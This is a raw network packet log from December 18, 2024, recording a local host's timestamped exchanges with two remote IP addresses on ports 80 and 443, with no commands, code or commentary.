Dec 18, 2024 11:09:26.277966022 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.278006077 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.278069973 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.278109074 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.278908014 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.278947115 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.278948069 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.278981924 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.279911041 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.279957056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.280136108 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.280173063 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.280891895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.280930042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.280997038 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.281033993 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.281855106 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.281894922 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.281919003 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.281951904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.282843113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.282892942 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.361737967 CET	443	49895	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:26.361829042 CET	443	49895	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:26.361891031 CET	49895	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:26.363840103 CET	49895	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:26.363867998 CET	443	49895	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:26.385025978 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:26.385065079 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:26.385132074 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:26.385435104 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:26.385447025 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:26.422597885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.422625065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.422672033 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.422688961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.422952890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.423000097 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.423015118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.423060894 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.423880100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.423923969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.423990011 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.424029112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.424875975 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.424935102 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.425097942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.425138950 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.425888062 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.425929070 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.425930023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.425965071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.426841974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.426887989 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.426938057 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.426980972 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.427829027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.427874088 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.427913904 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.427954912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.428795099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.428838968 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.428910017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.428961992 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.429776907 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.429822922 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.429857016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.429898977 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.430797100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.430840969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.430876017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.430917025 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.431824923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.431869030 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.431869984 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.431906939 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.432790995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.432836056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.432914972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.432960033 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.433701992 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.433748960 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.433809996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.433851957 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.434705019 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.434748888 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.434791088 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.434828997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.435707092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.435729027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.435748100 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.435766935 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.436655045 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.436703920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.436834097 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.436877966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.437642097 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.437685966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.437812090 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.437860012 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.438601017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.438647032 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.438726902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.438771009 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.439620972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.439666986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.439707994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.439749956 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.440619946 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.440664053 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.440697908 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.440740108 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.441634893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.441678047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.441750050 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.441797972 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.442575932 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.442622900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.442629099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.442673922 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.443514109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.443559885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.443598986 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.443638086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.444514990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.444559097 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.444628000 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.444673061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.445501089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.445545912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.445564985 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.445604086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.446472883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.446516037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.446572065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.446614981 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.447427988 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.447473049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.447513103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.447556019 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.448442936 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.448483944 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.448570013 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.448612928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.449409962 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.449472904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.449475050 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.449517965 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.450407028 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.450450897 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.450498104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.450541019 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.451421022 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.451464891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.451529026 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.451571941 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.452353954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.452398062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.452471018 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.452514887 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.453455925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.453499079 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.453551054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.453646898 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.454324007 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.454365015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.454435110 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.454477072 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.455351114 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.455416918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.455454111 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.455492973 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.456304073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.456413031 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.456418037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.456456900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.457267046 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.457308054 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.457343102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.457380056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.458280087 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.458317041 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.458375931 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.458410978 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.459325075 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.459364891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.459448099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.459486961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.460247993 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.460294962 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.460374117 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.460417986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.461225986 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.461276054 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.461348057 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.461385012 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.462207079 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.462251902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.462362051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.462404013 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.463218927 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.463262081 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.463300943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.463340044 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.464155912 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.464226961 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.464245081 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.464257956 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.465174913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.465208054 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.465257883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.465301037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.466120958 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.466175079 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.466211081 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.466245890 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.467148066 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.467189074 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.467230082 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.467268944 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.468086004 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.468128920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.468209028 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.468245983 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.469054937 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.469153881 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.469222069 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.469264030 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.470069885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.470114946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.470417023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.470463991 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.471084118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.471152067 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.471276999 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.471276999 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.472155094 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.472197056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.472527027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.472568035 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.473063946 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.473105907 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.473140001 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.473181009 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.473912001 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.473963022 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.613845110 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.613912106 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.613966942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.614013910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.614142895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.614191055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.614356995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.614402056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.614934921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.614983082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.615060091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.615104914 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.615901947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.615948915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.615988016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.616029978 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.616858959 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.616908073 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.616918087 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.616955042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.617793083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.617841005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.617914915 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.617954016 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.618815899 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.618859053 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.618982077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.619025946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.619817019 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.619859934 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.619874954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.619916916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.620763063 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.620806932 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.620847940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.620889902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.621804953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.621850967 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.621932983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.621973991 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.622726917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.622772932 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.622813940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.622850895 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.623713970 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.623758078 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.623836994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.623877048 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.624732971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.624775887 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.624880075 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.624918938 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.625675917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.625726938 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.625838041 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.625880957 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.626652956 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.626728058 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.626764059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.626801968 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.627641916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.627729893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.627752066 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.627774000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.628614902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.628657103 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.628724098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.628768921 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.629597902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.629645109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.629710913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.629755974 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.630568027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.630611897 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.630675077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.630722046 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.631584883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.631632090 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.631678104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.631721020 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.632561922 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.632608891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.632643938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.632687092 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.633495092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.633538008 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.633661032 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.633707047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.634711981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.634758949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.634782076 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.634829998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.635528088 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.635569096 CET	49912	80	192.168.2.6	31.41.244.11
